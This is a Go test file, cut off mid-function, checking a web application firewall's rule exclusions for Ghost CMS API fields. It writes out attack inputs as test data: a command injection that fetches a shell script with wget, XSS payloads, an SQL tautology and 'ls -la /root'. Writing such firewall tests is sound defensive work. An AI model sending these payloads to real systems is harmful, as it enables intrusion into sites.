check / check (push) Waiting to run
Ghost 6.76.0 was sent the fields the Ghost unit had not recorded with python3, powershell, ls -la and .htaccess. Fixes in ghost.conf: - the rules of plain text, now eight with 932235, for staff profiles, setup, invitations, tiers, offers, recommendations, integrations, webhooks, feature image captions, members' comments, the CSV import's labels, ActivityPub, and the analytics' query fields; - 932235 for the existing plain-text fields too, so "powershell & python3" passes there; - filter skips six more command rules, for the post picker's title:~'powershell & python3'; - staff invitation addresses, email_segment and a tag's code injection. Model: opus-5-5
811 lines
25 KiB
Go
811 lines
25 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"net/url"
|
|
"slices"
|
|
"strings"
|
|
"testing"
|
|
|
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
)
|
|
|
|
// ghostThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
|
const ghostThreshold = 5
|
|
|
|
// Paths of Ghost's Admin API, Content API and members' API.
|
|
const (
|
|
ghostPosts = "/ghost/api/admin/posts/"
|
|
ghostPost = ghostPosts + "6af458a5d281b00001a59969/"
|
|
ghostPage = "/ghost/api/admin/pages/6af45d34d281b00001a599a0/"
|
|
ghostNewsletter = "/ghost/api/admin/newsletters/6af45710d281b00001a598a1/"
|
|
ghostMembers = "/ghost/api/admin/members/"
|
|
ghostSettings = "/ghost/api/admin/settings/"
|
|
ghostSession = "/ghost/api/admin/session/"
|
|
ghostSetup = "/ghost/api/admin/authentication/setup/"
|
|
ghostPasswordReset = "/ghost/api/admin/authentication/password_reset/"
|
|
ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
|
|
ghostMember = "/members/api/member/"
|
|
ghostMagicLink = "/members/api/send-magic-link/"
|
|
ghostInvites = "/ghost/api/admin/invites/"
|
|
ghostInvitation = "/ghost/api/admin/authentication/invitation/"
|
|
ghostTiers = "/ghost/api/admin/tiers/6af45710d281b00001a598a3/"
|
|
ghostOffers = "/ghost/api/admin/offers/"
|
|
ghostRecommended = "/ghost/api/admin/recommendations/"
|
|
ghostTags = "/ghost/api/admin/tags/"
|
|
ghostImport = "/ghost/api/admin/members/upload/"
|
|
ghostComments = "/members/api/comments/"
|
|
ghostNote = "/.ghost/activitypub/v1/actions/note"
|
|
ghostAccount = "/.ghost/activitypub/v1/account"
|
|
)
|
|
|
|
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := servingApps(t, map[string][]string{
|
|
giteaHost: {gitea}, otherHost: {"ghost"},
|
|
})
|
|
|
|
// A filter, which only Ghost's fixes let through.
|
|
filter := get(ghostPosts + "?filter=tag:powershell")
|
|
|
|
wantResult(t, crs, withHost(filter, otherHost), coreruleset.Result{})
|
|
wantResult(t, crs, withHost(filter, giteaHost), matched(932120))
|
|
}
|
|
|
|
// ghostField is a field of a JSON body Ghost receives: the request that
|
|
// sends it, and its body, with VALUE where the field's value goes.
|
|
type ghostField struct{ method, target, body string }
|
|
|
|
// with returns f's body holding value, escaped for JSON.
|
|
func (f ghostField) with(t *testing.T, value string) string {
|
|
t.Helper()
|
|
|
|
quoted, err := json.Marshal(value)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
return strings.ReplaceAll(
|
|
f.body,
|
|
"VALUE",
|
|
string(quoted[1:len(quoted)-1]),
|
|
)
|
|
}
|
|
|
|
// ghostTextFields hold plain text and skip the eight rules of plain text.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostTextFields = []ghostField{
|
|
{http.MethodPut, ghostPost, `{"posts":[{"title":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPost, `{"posts":[{"custom_excerpt":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPost, `{"posts":[{"meta_title":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPost, `{"posts":[{"og_description":"VALUE"}]}`},
|
|
{
|
|
http.MethodPut,
|
|
ghostPost,
|
|
`{"posts":[{"tags":[{"id":"1"},{"name":"VALUE"}]}]}`,
|
|
},
|
|
{http.MethodPost, ghostPosts, `{"posts":[{"tags":["VALUE"]}]}`},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/pages/",
|
|
`{"pages":[{"slug":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/tags/",
|
|
`{"tags":[{"name":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/tags/",
|
|
`{"tags":[{"description":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/labels/",
|
|
`{"labels":[{"name":"VALUE"}]}`,
|
|
},
|
|
{http.MethodPost, ghostMembers, `{"members":[{"note":"VALUE"}]}`},
|
|
{
|
|
http.MethodPost,
|
|
ghostMembers,
|
|
`{"members":[{"labels":[{"name":"VALUE"}]}]}`,
|
|
},
|
|
{http.MethodPut, ghostNewsletter, `{"newsletters":[{"name":"VALUE"}]}`},
|
|
{
|
|
http.MethodPut,
|
|
ghostNewsletter,
|
|
`{"newsletters":[{"sender_name":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/snippets/",
|
|
`{"snippets":[{"name":"VALUE"}]}`,
|
|
},
|
|
{http.MethodPut, ghostMember, ghostMemberName},
|
|
|
|
// A staff user's profile, the first staff user, an invitation accepted.
|
|
{http.MethodPut, ghostUser, `{"users":[{"name":"VALUE"}]}`},
|
|
{http.MethodPut, ghostUser, `{"users":[{"slug":"VALUE"}]}`},
|
|
{http.MethodPut, ghostUser, `{"users":[{"bio":"VALUE"}]}`},
|
|
{http.MethodPut, ghostUser, `{"users":[{"location":"VALUE"}]}`},
|
|
{http.MethodPut, ghostUser, `{"users":[{"website":"VALUE"}]}`},
|
|
{http.MethodPost, ghostSetup, `{"setup":[{"blogTitle":"VALUE"}]}`},
|
|
{http.MethodPost, ghostSetup, `{"setup":[{"name":"VALUE"}]}`},
|
|
{http.MethodPost, ghostInvitation, `{"invitation":[{"name":"VALUE"}]}`},
|
|
|
|
// Tiers, offers, recommendations, integrations and webhooks.
|
|
{http.MethodPut, ghostTiers, `{"tiers":[{"name":"VALUE"}]}`},
|
|
{http.MethodPut, ghostTiers, `{"tiers":[{"description":"VALUE"}]}`},
|
|
{
|
|
http.MethodPut,
|
|
ghostTiers,
|
|
`{"tiers":[{"benefits":["Tips","VALUE"]}]}`,
|
|
},
|
|
{http.MethodPost, ghostOffers, `{"offers":[{"name":"VALUE"}]}`},
|
|
{http.MethodPost, ghostOffers, `{"offers":[{"code":"VALUE"}]}`},
|
|
{http.MethodPost, ghostOffers, `{"offers":[{"display_title":"VALUE"}]}`},
|
|
{
|
|
http.MethodPost,
|
|
ghostOffers,
|
|
`{"offers":[{"display_description":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
ghostRecommended,
|
|
`{"recommendations":[{"title":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
ghostRecommended,
|
|
`{"recommendations":[{"description":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
ghostRecommended,
|
|
`{"recommendations":[{"excerpt":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/integrations/",
|
|
`{"integrations":[{"name":"VALUE","description":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/webhooks/",
|
|
`{"webhooks":[{"event":"post.published","name":"VALUE"}]}`,
|
|
},
|
|
|
|
// A feature image's alt text and caption.
|
|
{http.MethodPut, ghostPost, `{"posts":[{"feature_image_alt":"VALUE"}]}`},
|
|
{
|
|
http.MethodPut,
|
|
ghostPost,
|
|
`{"posts":[{"feature_image_caption":` +
|
|
`"Photo: <a href=\"https://example.com/\">VALUE</a>"}]}`,
|
|
},
|
|
{http.MethodPut, ghostPage, `{"pages":[{"feature_image_alt":"VALUE"}]}`},
|
|
|
|
// A member's comment, written and edited.
|
|
ghostNewComment,
|
|
{
|
|
http.MethodPut,
|
|
ghostComments + "6af5426ae56ecb0001938894/",
|
|
`{"comments":[{"id":"6af5426ae56ecb0001938894","html":"<p>VALUE</p>"}]}`,
|
|
},
|
|
|
|
// ActivityPub: a note, a reply and the account.
|
|
{http.MethodPost, ghostNote, `{"content":"VALUE"}`},
|
|
{http.MethodPost, ghostReply, `{"content":"VALUE"}`},
|
|
{http.MethodPut, ghostAccount, `{"name":"VALUE","username":"alice"}`},
|
|
{http.MethodPut, ghostAccount, `{"username":"VALUE"}`},
|
|
{http.MethodPut, ghostAccount, `{"bio":"VALUE"}`},
|
|
}
|
|
|
|
// ghostNewComment is a member's comment on a post, with VALUE in a paragraph.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a struct
|
|
var ghostNewComment = ghostField{
|
|
http.MethodPost,
|
|
ghostComments,
|
|
`{"comments":[{"post_id":"6af458a5d281b00001a59969","html":"<p>VALUE</p>"}]}`,
|
|
}
|
|
|
|
// ghostComment is the HTML of an ordinary comment, with a link.
|
|
const ghostComment = `Try <strong>python3</strong>, then ` +
|
|
`<a href="https://example.com/ls-la" rel="ugc">ls -la</a>.`
|
|
|
|
// ghostReply is the path that posts a reply to a note in ActivityPub.
|
|
const ghostReply = "/.ghost/activitypub/v1/actions/reply/" +
|
|
"https%3A%2F%2Fexample.com%2F.ghost%2Factivitypub%2Fnote%2F" +
|
|
"0d6e3b4c-2a1f-4b5e-9c8d-7e6f5a4b3c2d"
|
|
|
|
// ghostMemberName is the body that saves a member's name at /members/api/.
|
|
const ghostMemberName = `{"name":"VALUE"}`
|
|
|
|
// ghostAddressFields hold a member's or a staff user's email address and skip
|
|
// 930120, 932120 and 932260.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostAddressFields = []ghostField{
|
|
{
|
|
http.MethodPost,
|
|
ghostMagicLink,
|
|
`{"email":"VALUE","emailType":"signup"}`,
|
|
},
|
|
{http.MethodPut, ghostMember, `{"email":"VALUE"}`},
|
|
{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
|
|
{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
|
|
{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
|
|
{http.MethodPost, ghostInvites, `{"invites":[{"email":"VALUE"}]}`},
|
|
{http.MethodPost, ghostInvitation, `{"invitation":[{"email":"VALUE"}]}`},
|
|
{
|
|
http.MethodPost,
|
|
ghostPasswordReset,
|
|
`{"password_reset":[{"email":"VALUE"}]}`,
|
|
},
|
|
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
|
|
}
|
|
|
|
// ghostArticleFields hold an article and skip the rules of 900355.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostArticleFields = []ghostField{
|
|
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
|
|
{
|
|
http.MethodPost,
|
|
ghostPosts + "?source=html",
|
|
`{"posts":[{"html":"VALUE"}]}`,
|
|
},
|
|
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/snippets/",
|
|
`{"snippets":[{"lexical":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPut,
|
|
ghostNewsletter,
|
|
`{"newsletters":[{"footer_content":"VALUE"}]}`,
|
|
},
|
|
}
|
|
|
|
// ghostCodeFields hold code injection or a setting and skip the rules of
|
|
// 900356 and 900378.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostCodeFields = []ghostField{
|
|
{
|
|
http.MethodPut,
|
|
ghostPost,
|
|
`{"posts":[{"codeinjection_head":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPut,
|
|
ghostPage,
|
|
`{"pages":[{"codeinjection_foot":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPut, ghostSettings,
|
|
`{"settings":[{"key":"title","value":"Blog"},` +
|
|
`{"key":"codeinjection_head","value":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
ghostTags,
|
|
`{"tags":[{"codeinjection_head":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPut,
|
|
ghostTags + "6af45d4ed281b00001a599a8/",
|
|
`{"tags":[{"codeinjection_foot":"VALUE"}]}`,
|
|
},
|
|
}
|
|
|
|
// The query fields that skip some rules, each ending in "=".
|
|
const (
|
|
ghostAdminFilter = ghostPosts + "?limit=30&filter="
|
|
ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
|
|
ghostSearch = ghostMembers + "?limit=100&search="
|
|
ghostEmbed = "/ghost/api/admin/oembed/?type=bookmark&url="
|
|
ghostStats = "/ghost/api/admin/stats/top-content/?date_from=2026-10-13"
|
|
ghostPathname = ghostStats + "&pathname="
|
|
ghostSource = ghostStats + "&source="
|
|
ghostCampaign = ghostStats + "&utm_campaign="
|
|
ghostSegment = ghostPost + "?newsletter=default-newsletter&email_segment="
|
|
ghostAccountSearch = "/.ghost/activitypub/v1/actions/search?query="
|
|
ghostInvitedEmail = ghostInvitation + "?email="
|
|
)
|
|
|
|
// ghostQueryFields are the query fields that skip some rules.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostQueryFields = []string{
|
|
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
|
|
ghostPathname, ghostSource, ghostCampaign, ghostSegment,
|
|
ghostAccountSearch, ghostInvitedEmail,
|
|
}
|
|
|
|
// ghostCommandNames joins two command names, as an ordinary title can.
|
|
const ghostCommandNames = "powershell & python3"
|
|
|
|
// ghostURLs are addresses 930120 and 932120 refused in url.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostURLs = []string{
|
|
"https://github.com/example/site/blob/main/.htaccess",
|
|
"https://example.com/blog/powershell-tips?ref=ghost",
|
|
"https://example.com/docs/python3/",
|
|
}
|
|
|
|
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostAddresses = []string{
|
|
"erin.htaccess@example.com",
|
|
"python3.dev@example.com",
|
|
"dave.powershell@example.com",
|
|
}
|
|
|
|
// ghostArticle is an ordinary article with a code block, an HTML card and an
|
|
// embed, which each of the rules of 900355 refused.
|
|
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
|
|
`<pre><code>#!/usr/bin/env python3
|
|
cat /etc/hosts | grep example
|
|
ls -la /var/www/html/.htaccess
|
|
powershell -ExecutionPolicy Bypass -File build.ps1
|
|
SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;
|
|
document.querySelectorAll('a').forEach((a) => console.log(a.href));
|
|
window.onload = () => alert('ready');</code></pre>` +
|
|
`<iframe src="https://www.youtube-nocookie.com/embed/x" allowfullscreen></iframe>` +
|
|
`<img src="https://images.example.com/banner.png" ` +
|
|
`onclick="this.classList.toggle('big')">`
|
|
|
|
// ghostCodeInjection is ordinary code injection for the head of a page.
|
|
const ghostCodeInjection = `<meta name="google-site-verification" content="x">` +
|
|
`<link rel="preconnect" href="https://fonts.example.com">` +
|
|
`<style>.gh-head { border-bottom: 1px solid #eee; }</style>`
|
|
|
|
// wantGhostField checks that the Core Rule Set, reading bodies, refuses f
|
|
// holding value, or lets it through.
|
|
func wantGhostField(t *testing.T, f ghostField, value string, refused bool) {
|
|
t.Helper()
|
|
|
|
r := request{f.method, f.target, []string{jsonBody}}
|
|
body := f.with(t, value)
|
|
|
|
got, _ := inspectBody(t, readingBodies(t), r, body)
|
|
if refused && got.Score < ghostThreshold {
|
|
t.Errorf(
|
|
"%s %s %.300s let through: %+v",
|
|
f.method,
|
|
f.target,
|
|
body,
|
|
got,
|
|
)
|
|
}
|
|
|
|
if !refused && got.Score >= ghostThreshold {
|
|
t.Errorf("%s %s %.300s refused: %+v", f.method, f.target, body, got)
|
|
}
|
|
}
|
|
|
|
// wantGhostQuery checks that the Core Rule Set, at the defaults, refuses
|
|
// target, a query field and its value, or lets it through.
|
|
func wantGhostQuery(t *testing.T, target string, refused bool) {
|
|
t.Helper()
|
|
|
|
got := inspect(t, atDefaults(t), get(target))
|
|
if refused && got.Score < ghostThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
|
|
if !refused && got.Score >= ghostThreshold {
|
|
t.Errorf("%s refused: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, encoded := range hardValues {
|
|
value, _ := url.QueryUnescape(encoded)
|
|
|
|
fields := slices.Concat(
|
|
ghostTextFields,
|
|
ghostArticleFields,
|
|
ghostCodeFields,
|
|
)
|
|
for _, f := range fields {
|
|
wantGhostField(t, f, "Notes on "+value+" & tidy files", false)
|
|
}
|
|
|
|
// filter as the admin's pickers write it, and search as typed.
|
|
wantGhostQuery(
|
|
t,
|
|
ghostAdminFilter+url.QueryEscape("title:~'"+value+"'"),
|
|
false,
|
|
)
|
|
wantGhostQuery(
|
|
t,
|
|
ghostContentFilter+url.QueryEscape("tags.name:~'"+value+"'"),
|
|
false,
|
|
)
|
|
wantGhostQuery(t, ghostSearch+encoded, false)
|
|
}
|
|
|
|
for _, address := range ghostURLs {
|
|
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
|
}
|
|
|
|
for _, address := range ghostAddresses {
|
|
for _, f := range ghostAddressFields {
|
|
wantGhostField(t, f, address, false)
|
|
}
|
|
}
|
|
|
|
for _, f := range ghostArticleFields {
|
|
wantGhostField(t, f, ghostArticle, false)
|
|
}
|
|
|
|
for _, f := range ghostCodeFields {
|
|
wantGhostField(t, f, ghostCodeInjection, false)
|
|
}
|
|
|
|
wantGhostField(t, ghostNewComment, ghostComment, false)
|
|
|
|
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
|
|
url.QueryEscape(
|
|
"tag:powershell+status:[draft,scheduled,published,sent]",
|
|
), false)
|
|
wantGhostQuery(t, "/ghost/api/admin/members/?filter="+
|
|
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
|
|
}
|
|
|
|
// ghostAttacks are an SQL injection, a path traversal and a script
|
|
// injection, not escaped.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostAttacks = []string{injection, pathTraversal, scriptTag}
|
|
|
|
// commandAfterASeparator is a shell command after a ";", not escaped.
|
|
const commandAfterASeparator = "; wget http://example.com/x.sh"
|
|
|
|
func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, attack := range ghostAttacks {
|
|
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
|
ghostArticleFields, ghostCodeFields) {
|
|
wantGhostField(t, f, attack, true)
|
|
}
|
|
|
|
for _, target := range ghostQueryFields {
|
|
wantGhostQuery(t, target+url.QueryEscape(attack), true)
|
|
}
|
|
}
|
|
|
|
// A command after a separator stays refused wherever 932235 does not
|
|
// misfire: in the addresses, search, url, email_segment and email. The
|
|
// plain text, filter and the analytics' fields skip 932235, which
|
|
// refuses "powershell & python3" as it refuses this.
|
|
for _, f := range ghostAddressFields {
|
|
wantGhostField(t, f, commandAfterASeparator, true)
|
|
}
|
|
|
|
for _, target := range []string{
|
|
ghostSearch, ghostEmbed, ghostSegment, ghostInvitedEmail,
|
|
} {
|
|
wantGhostQuery(
|
|
t,
|
|
target+url.QueryEscape(commandAfterASeparator),
|
|
true,
|
|
)
|
|
}
|
|
|
|
// A comment keeps the rules for scripts and HTML.
|
|
wantGhostField(t, ghostNewComment, `<img src=x onerror=alert(1)>`, true)
|
|
wantGhostField(
|
|
t,
|
|
ghostNewComment,
|
|
`<a href="javascript:alert(1)">x</a>`,
|
|
true,
|
|
)
|
|
|
|
// The articles and code injection carry HTML on purpose, but a script
|
|
// element and a javascript: link are still refused there.
|
|
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
|
|
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
|
|
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
|
|
}
|
|
|
|
// An address keeps 932250, which refuses a listing of files.
|
|
for _, f := range ghostAddressFields {
|
|
wantGhostField(t, f, "ls -la /root", true)
|
|
}
|
|
}
|
|
|
|
func TestGhostTwoCommandNamesPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, f := range ghostTextFields {
|
|
wantGhostField(t, f, ghostCommandNames, false)
|
|
}
|
|
|
|
// filter as the admin's post picker writes it, after a person types a
|
|
// title that joins two command names.
|
|
for _, typed := range []string{
|
|
ghostCommandNames, "python3 & powershell", "powershell & ls -la",
|
|
"ls -la & python3",
|
|
} {
|
|
filter := "status:published+title:~'" + typed + "'"
|
|
wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false)
|
|
}
|
|
}
|
|
|
|
// TestGhostOrdinaryQueriesPass checks the query fields of the analytics
|
|
// pages, email_segment, the search of ActivityPub and the check of an
|
|
// invitation.
|
|
func TestGhostOrdinaryQueriesPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, encoded := range hardValues {
|
|
value, _ := url.QueryUnescape(encoded)
|
|
text := url.QueryEscape("Notes on " + value + " & tidy files")
|
|
|
|
wantGhostQuery(
|
|
t,
|
|
ghostPathname+url.QueryEscape("/"+value+"/"),
|
|
false,
|
|
)
|
|
wantGhostQuery(t, ghostSource+encoded, false)
|
|
wantGhostQuery(t, ghostCampaign+text, false)
|
|
wantGhostQuery(t, ghostAccountSearch+text, false)
|
|
}
|
|
|
|
wantGhostQuery(
|
|
t,
|
|
ghostCampaign+url.QueryEscape(ghostCommandNames),
|
|
false,
|
|
)
|
|
wantGhostQuery(
|
|
t,
|
|
ghostAccountSearch+"%40powershell%40example.com",
|
|
false,
|
|
)
|
|
|
|
for _, segment := range []string{
|
|
"label:powershell-users", "label:python3", "label:ls-la",
|
|
"label:htaccess", "status:free,tier:powershell-club",
|
|
} {
|
|
wantGhostQuery(t, ghostSegment+url.QueryEscape(segment), false)
|
|
}
|
|
|
|
for _, address := range ghostAddresses {
|
|
wantGhostQuery(t, ghostInvitedEmail+url.QueryEscape(address), false)
|
|
}
|
|
}
|
|
|
|
// wantGhostImportLabel checks that the Core Rule Set, reading bodies,
|
|
// refuses label, sent as labels in a CSV import to target, or lets it
|
|
// through.
|
|
func wantGhostImportLabel(
|
|
t *testing.T, target, label string, refused bool,
|
|
) {
|
|
t.Helper()
|
|
|
|
r := request{http.MethodPost, target, []string{multipart}}
|
|
body := field("labels", label) + field("mapping[email]", "email") + end
|
|
|
|
got, _ := inspectBody(t, readingBodies(t), r, body)
|
|
if refused && got.Score < ghostThreshold {
|
|
t.Errorf("labels=%q at %s let through: %+v", label, target, got)
|
|
}
|
|
|
|
if !refused && got.Score >= ghostThreshold {
|
|
t.Errorf("labels=%q at %s refused: %+v", label, target, got)
|
|
}
|
|
}
|
|
|
|
func TestGhostImportLabelsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, encoded := range hardValues {
|
|
value, _ := url.QueryUnescape(encoded)
|
|
wantGhostImportLabel(t, ghostImport, value+" import", false)
|
|
}
|
|
|
|
wantGhostImportLabel(t, ghostImport, ghostCommandNames, false)
|
|
|
|
for _, attack := range ghostAttacks {
|
|
wantGhostImportLabel(t, ghostImport, attack, true)
|
|
}
|
|
|
|
// labels keeps its rules on other paths, and when the query has a field
|
|
// of the same name.
|
|
wantGhostImportLabel(t, ghostMembers, "python3 import", true)
|
|
wantGhostImportLabel(t, ghostImport+"?labels=x", "python3 import", true)
|
|
}
|
|
|
|
func TestGhostExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// The fields keep their rules off Ghost's paths, on Ghost's paths that
|
|
// take no such field, and when the query has a field of the same name.
|
|
const (
|
|
title = `{"posts":[{"title":"python3"}]}`
|
|
article = `{"posts":[{"lexical":"<p>cat /etc/hosts</p>"}]}`
|
|
name = `{"name":"python3"}`
|
|
email = `{"email":"python3.dev@example.com"}`
|
|
username = `{"username":"python3.dev@example.com"}`
|
|
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
|
|
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
|
|
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
|
|
)
|
|
|
|
for _, refused := range []struct{ target, body string }{
|
|
{"/api/posts/", title},
|
|
{"/ghost/api/content/posts/", title},
|
|
{ghostMember, title},
|
|
{ghostPosts + "?json.posts.0.title=x", title},
|
|
{ghostPosts, `{"posts":[{"visibility":"python3"}]}`},
|
|
{ghostPosts, name},
|
|
{ghostMember + "?json.name=x", name},
|
|
{"/api/posts/", article},
|
|
{"/ghost/api/admin/users/", `{"users":[{"bio":"<iframe src=x></iframe>"}]}`},
|
|
{ghostPosts + "?json.posts.0.lexical=x", article},
|
|
{"/api/settings/", `{"settings":[{"value":"<meta name=x content=y>"}]}`},
|
|
{
|
|
ghostSettings + "?json.settings.0.value=x",
|
|
`{"settings":[{"value":"<meta name=x content=y>"}]}`,
|
|
},
|
|
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
|
|
{ghostPosts, email},
|
|
{ghostMembers, email},
|
|
{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
|
|
{
|
|
ghostMembers + "?json.members.0.email=x",
|
|
`{"members":[{"email":"python3.dev@example.com"}]}`,
|
|
},
|
|
{ghostMember + "?json.email=x", email},
|
|
{ghostPosts, username},
|
|
{ghostSession + "?json.username=x", username},
|
|
{ghostPosts, setupEmail},
|
|
{ghostSetup + "?json.setup.0.email=x", setupEmail},
|
|
{ghostPosts, passwordResetEmail},
|
|
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
|
|
{ghostPosts, userEmail},
|
|
{ghostUser + "?json.users.0.email=x", userEmail},
|
|
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
|
|
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
|
|
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
|
|
{
|
|
"/ghost/api/admin/users/6af4570fd281b00001a59891/?json.users.0.profile_image=x",
|
|
`{"users":[{"profile_image":null}]}`,
|
|
},
|
|
} {
|
|
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, crs, r, refused.body)
|
|
if got.Score < ghostThreshold {
|
|
t.Errorf(
|
|
"PUT %s %s let through: %+v",
|
|
refused.target,
|
|
refused.body,
|
|
got,
|
|
)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// The query fields keep their rules off Ghost's paths, and in other
|
|
// query fields there. search skips its rules only on the Admin API, and
|
|
// url only on the editor's lookup of embeds. pathname, email_segment,
|
|
// query and email skip theirs only on their own paths.
|
|
for _, target := range []string{
|
|
"/api/posts/?filter=powershell",
|
|
"/ghost/posts/?filter=powershell",
|
|
"/ghost/api/admin/posts/?order=powershell",
|
|
"/ghost/api/content/posts/?search=python3",
|
|
"/members/api/member/?search=python3",
|
|
"/ghost/api/admin/posts/?url=powershell",
|
|
"/oembed/?url=powershell",
|
|
"/ghost/api/admin/posts/?pathname=%2Fpowershell%2F",
|
|
"/ghost/api/admin/stats/top-content/?order=powershell",
|
|
"/ghost/api/admin/pages/?email_segment=label%3Apowershell-users",
|
|
"/ghost/api/admin/posts/?query=python3",
|
|
"/.ghost/activitypub/v1/actions/note?query=python3",
|
|
"/ghost/api/admin/invites/?email=python3.dev%40example.com",
|
|
} {
|
|
wantGhostQuery(t, target, true)
|
|
}
|
|
}
|
|
|
|
// TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body
|
|
// fields that 900370 to 900378 name, as TestGhostExclusionsAreNarrow checks
|
|
// the others: each keeps its rules on another path, and when the query has
|
|
// a field of the same name.
|
|
func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const (
|
|
bio = `{"users":[{"bio":"python3"}]}`
|
|
comment = `{"comments":[{"html":"<p>Notes on .htaccess</p>"}]}`
|
|
content = `{"content":"python3"}`
|
|
accountBio = `{"bio":"python3"}`
|
|
invited = `{"invites":[{"email":"python3.dev@example.com"}]}`
|
|
accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}`
|
|
tagCode = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
|
|
)
|
|
|
|
for _, refused := range []struct{ target, body string }{
|
|
{"/api/users/1/", bio},
|
|
{ghostMember, bio},
|
|
{ghostUser + "?json.users.0.bio=x", bio},
|
|
{ghostPosts, comment},
|
|
{ghostComments + "?json.comments.0.html=x", comment},
|
|
{ghostAccount, content},
|
|
{ghostNote + "?json.content=x", content},
|
|
{ghostNote, accountBio},
|
|
{ghostAccount + "?json.bio=x", accountBio},
|
|
{ghostPosts, invited},
|
|
{ghostInvites + "?json.invites.0.email=x", invited},
|
|
{ghostInvites, accepted},
|
|
{ghostInvitation + "?json.invitation.0.email=x", accepted},
|
|
